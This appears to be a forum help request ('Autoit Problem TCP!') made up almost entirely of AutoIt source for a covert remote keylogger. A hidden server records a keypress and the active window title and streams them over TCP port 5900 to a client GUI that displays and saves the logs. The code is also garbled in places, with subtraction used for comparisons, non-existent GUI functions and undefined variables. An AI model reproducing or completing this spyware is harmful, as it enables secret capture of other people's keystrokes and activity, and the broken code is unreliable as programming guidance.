Autoit Problem TCP!

#Include <Misc.au3>
#NoTrayIcon
TCPStartup() 
Local $window2 = ''
$Socket = TCPListen('(leleleIP adresse!)', 5900,1) ;Für (leleleIP) später §IPAdress einfügen

Do
$Connection = TCPAccept($Socket) 
Until $Connection <> -1 

$dll = DllOpen("user32.dll") 

While 1 ;Endlosschleife
if _IsPressed ('41', $dll) Then 
$window2 = WinGetTitle('') 

if $window - $window2 Then 
TCPSend($Connection,'a') 
Sleep(150)
Else 
$window2 - $window
TCPSend($Connection, @CRLF & '[' & @YEAR & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : ' & $window & @CRLF) 
TCPSend($Connection, 'a') ; Sende an Client a
Sleep(150)
EndIf
EndIf
Sleep(1)
WEnd

HotKeySet('(F1)','_disconnect')
HotKeySet('(F2)','_exit') ;Seite HotKeys

MsgBox(0,'Info','To save the logs, press F1 and for reconnect, start the client again.' & @CRLF & 'F2 = Exit')

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Tester", 373, 426, 257, 155)
$ip_adress = GUICtrlCreateInput("Die IP adresse!", 16, 16, 121, 21)
$Button1 = GUICtrlCreateButton("Connection", 152, 16, 91, 25, 0)
$Status = GUICtrlCreateLabel("Disconnect", 272, 16, 58, 17)
GUICtrlSetColor(-1, 0xFF0000)
$Edit1 = GUICtrlCreateEdit("", 16, 56, 345, 321, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN))
$Button2 = GUICtrlCreateButton("Save", 16, 392, 345, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

Global $disconnect = 0


While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

Case $Button1
$disconnect = 0 
TCPStartup()

$Connection = TCPConnect(GUICtrlRead($ip_adress), 5900) 


If $Connection < 0 Then 
MsgBox(16, 'Error', 'Verbindung konnte nicht aufgebaut werden.')
_exit()
Else

While $disconnect = 0 ;Solange $disconnect auf 0 ist...
GUICtrlCreateData($status, 'Connected')
GUICtrlCreateColor($status, 0x00FF00)

$Resv = TCPRecv($Connection, 2) 
GUICtrlCreateData($Edit1, $Resv,1) 

if @error Then ;Wenn ein Error auftritt...
MsgBox(16,'Error','Verbindung unterbrochen!')
_exit()
EndIf
WEnd
EndIf

Case $Button2
if NOT FileExists(@ScriptDir & 'log.txt') Then 
_FileCreate('log-txt') 
Sleep(200)
$title = FileOpen('log.txt' , 1)
Else
$title = FileOpen('log.txt' , 1)
EndIf

FileWrite($File, GUICtrlRead($Edit1))

Sleep(500)
FileClose($file)


EndSwitch
WEnd

Func _disconnect()
$disconnect = 1 
GUICtrlSetData($status, 'Disconnected')
GUICtrlSetColor($status, 0xFF0000)
EndFunc

Func _exit()
TCPCloseSocket($Connection) 
TCPShutdown()
Exit
EndFunc

Local $sReceived = ""
Do
	$sReceived &= TCPRecv($hServer, 2048)
Until $sReceived <> ""